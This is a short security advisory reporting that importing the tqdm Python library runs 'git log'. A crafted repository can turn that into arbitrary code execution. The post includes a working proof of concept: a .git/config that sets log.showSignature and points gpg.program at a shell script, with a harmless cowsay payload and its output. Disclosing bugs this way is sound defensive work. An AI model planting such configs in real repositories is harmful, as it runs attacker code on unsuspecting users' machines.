tqdm: insecure use of git

[Jakub Wilk <jwilk () jwilk net>]

tqdm <https://github.com/tqdm/tqdm> is a "fast, extensible progress bar for 
Python".

When you import tqdm, the tqdm._version module executes the following command:

   git log -n 1 --oneline

This was meant to check if the user is running a pre-release version of tqdm.
But cwd might be a part of an unrelated git repository, possibly a malicious 
one. At least with git 2.10 or later, it's possible to craft a repo in which 
"git log" executes arbitrary code:

   $ tail -n4 /tmp/.git/config
   [log]
           showSignature = true
   [gpg]
           program = /tmp/moogpg

   $ tail -n4 /tmp/moogpg
   #!/bin/sh
   exec > /dev/tty 2>&1
   cowsay pwned
   sleep 9999

   $ cd /tmp

   $ pydoc tqdm
    _______
   < pwned >
    -------
           \   ^__^
            \  (oo)\_______
               (__)\       )\/\
                   ||----w |
                   ||     ||


Upstream bug report:
https://github.com/tqdm/tqdm/issues/328

Affected versions: v4.4.1 and later.

--
Jakub Wilk